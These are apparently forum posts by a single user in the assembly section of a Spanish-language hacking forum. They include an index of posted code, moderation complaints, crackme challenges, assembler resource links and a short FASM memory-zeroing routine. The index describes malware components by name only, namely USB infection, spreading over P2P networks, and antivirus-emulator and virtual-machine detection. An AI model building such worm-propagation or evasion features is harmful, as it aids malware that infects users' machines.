       Descripción: Programa que crea un import parecido a el "kernel32.inc" que trae el Fasm por defecto , con todas las funciones de la libreria indicada.
   
   
  
• PE visor by YST
       Descripción: Pequeño visor del formato PE de cualquier archivo que contenga este formato.
   
   
  
  Codigos generales.
   
   
  
• ChangeEntryPoint
       Descripción: Cambia el EntryPoint de un archivo con formato PE.
   
   
  
• GetAddressFunction
       Descripción: Función que simula la función GetProcAddress de la kernel32.dll
   
   
  
• Split
       Descripción: Codigo que parte una cadena por medio de un separador.
   
   
  
• Zerar
       Descripción: Función que llena de tantos 0 como le indiques una posición.
   
   
  
• cInstr
       Descripción: Función que te dice si una cadena se encuentra dentro de otra y de encontrarsre devuelve la posicion donde se    encuentra y en caso contrari devuelve 0
   
   
  
• StrReverse
       Descripción: Función pone una cadena al revez (ej: "Hola" te la dejaria en "aloH" )
   
   
  
• EncriptacionChangeCase
       Descripción: Función que remplaza todas las mayusculas por minuscula y viceversa
   
   
  
• EncriptacionXOR
       Descripción: Función que cifra mediante un XOR
   
   
  
• Encriptacion YST
       Descripción: Función que cifra mediante un algoritmo propio
   
   
  
• Infección USB
       Descripción: Función que infecta unidades extraibles
   
   
  
• DetectaExtención
       Descripción: Función que devuelve la extención de un archivo.
   
   
  
• cRtlMoveMemory
       Descripción: Función que simula la función RtlMoveMemory de kernel32.dll .
   
   
  
• EOFExtraDataExtract
       Descripción: Función que devuelve donde se encuentra el fin del archivo mediante el formato PE .
   
   
  
• antiemulator
       Descripción: Función que detecta la emulación de algunos antivirus .
   
   
  
• CapetaVaciaOUnidad
       Descripción: Función que dice si una ruta no contiene archivos .
   
   
  
• ASCIITOUNICODE
       Descripción: Función que pasa una cadena ascii a unicode .
   
   
  
• ConcatenarUnicode
       Descripción: Función que concatena 2 cadenas en unicode .
   
   
  
• LenUnicode
       Descripción: Función que mide una cadena en unicode.
   
   
  
• StringToHex
  Descripción: Función que pasa una cadena ASCII a Hexadecimal.
   
   
  
• HexToString
  Descripción: Función que pasa una cadena Hexadecimal a una cadena ASCII.
   
   
  
• SHA1Hash
  Descripción: Saca el hash sha1 de un dato
   
   
  
• Propagación por emule
  Descripción: Codigo que se propaga por el sistema p2p emule.
   
   
  
• Propagación por Omemo
  Descripción: Codigo que se propaga por el sistema p2p Omemo.
   
   
  
• Propagación por Ares
  Descripción: Codigo que se propaga por el sistema p2p ares.
   
   
  
• fRight
  Descripción: Funcion que iguala a la función Right de Visual basic 6.
   
   
  
• RC4
  Descripción:Codigo que cifra usando el algoritmo RC4.
   
   
  
• Rot39
  Descripción:Codigo que cifra usando el algoritmo ROT39.
   
   
  
• Ejecución de comandos con pipes
  Descripción:Codigo que muestra los valores devueltos por un ping 127.0.0.1 .
   
   
  
• IsVirtualPCPresent
  Descripción:Detecta si estamos siendo ejecutados en una maquina virtual .
     
   
  
• Llamar funciones de librerias como lo hace el Visual basic 6
  Descripción: Ejemplo de como llama las api's el visual basic 6 , codigo original por karcrack traducido por mi .

Hola,

El mod de ASM a unido todos mis post en un solo post , haciendo que a mi modo de ver quede todo desorganisado y simplemente para mi es ridiculo esto ya que hasta para buscar complica las cosas.

Yo hace tiempo tube una discución con eternal idol simplemente por que no le gustaba que posteara tanto por dia ,lo discutimos por MP y yo intente que nunca tratarlo mal en algún post y que en si no afectara a el foro (osea no discutir con el en cada post )  , pero parece que eternal idol dejo que esto afectara en su forma de moderar , ya que como se vio en C/C++ que tambien es moderador no unio todo los post de ningún user en uno solo.

Yo en lo personal me niego a postear en un solo hilo todo lo que haga y si lo tengo que hacer prefiero simplemente no seguir posteando.

Saludos..

Hola,

eh visto que muchos usuarios para hacer spam de su pagina o foro o lo que sea , si no mal pienso lo de poner la fuente es para respetar derechos de autor y todo eso , pero si es el autor el que publica en el foro no hay necesidad de poner fuente ya que los derechos los tiene uno.

Solo dejo mi opinión ya que veo mucho spam en el foro de esta manera , talvez se puediera poner una regla o algo hay ve el staff.

Saludos

Fuente: Mi pagina web super h4x0r

[Høl¥]

Descargar

Dificultad: Pongansela ustedes XD

Pasado por:

• Høl¥
  
• Amerikano
  
• Krackwar ™
  
  Se declara terminado

[Ensambladores]

Ensambladores

FASM -> http://flatassembler.net/download.php
NASM -> http://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
MASM -> http://www.masm32.com/masmdl.htm

Documentación

Manuales ASM

Iczelion's tutorial
http://win32assembly.online.fr/files/tut_es.zip

Programación avanzada en Lenguaje Ensamblador
http://www.ramonmedina.name/files/universidad/ac/ac0001.PDF

EL UNIVERSO DIGITAL DEL IBM PC, AT Y PS/2
http://atc.ugr.es/docencia/udigital/


documentation for 8086 assembler and emulator(ingles)
http://www.emu8086.com/assembly_language_tutorial_assembler_reference/

Los registros

http://www.monografias.com/trabajos7/regi/regi.shtml
http://es.wikipedia.org/wiki/Registro_(hardware)

Documentación sys calls(linux)

http://sourceforge.net/project/downloading.php?group_id=173983&filename=lscr-160307.tar.gz&a=60287788

Hola , muchos siempre se encontraron con que ASM para pasarlo de windows a linux hay que hacer practicamente el source de nuevo , bueno encontre esta libreria que permite no tener que modificar tanto el codigo para pasarlo de un SO al otro  .

Yo queria proponer fabricar una libreria multiplataforma para ASM por eso para alegria y pena mia (pena por que tenia ganas de hacerla  ) encontre la FasmLib

http://fasmlib.x86asm.net/

PD: Espero que no se tome como SPAM

[Høl¥]

Dificultad: 4/10

Reto:
Conseguir la clave correcta.

Espero que lo disfruten

Saludos

Pasado por :

- Høl¥

Descargar
            Descargar

Hola,

tengo una duda , ¿que se necesita como requisito para que se cree un subforo de ASM ?

Saludos.

Hola ,

viendo firmas de distintos usuarios me decidi a meterme al chat no oficial de elhacker.net , pero cuando entro me fijo que aparece babelsruins.org    , mi opinion es que se deberia tomar alguna medida con el administrador de el chat  ( por lo visto Carloswaldo ) , para que si lo estan promocionando como chat de este foro , cuando uno entre en el chat no se encuentre con la sorpresa de que es el chat de babelsruins.org , espero que se tomen medidas .

Hola , mediante el source que hice , fabrique distintos .inc con api's de librerias(.dll) que no trae por defecto el FASM , espero que les sirvan

Las dll son :

- msvcrt.dll
- winmm.dll
- PSAPI.dll
- Ole32.dll
- shlwapi.dll
- ntdll.dll
- urlmon.dll
- msvbvm60.dll

Descargar

Hola , muchas veces yo eh necesitado poner una cantidad de bytes en 0 , para esto hice una función que haga esto por mi , espero que les sirva.

Código (asm) [Seleccionar] Expandir

proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp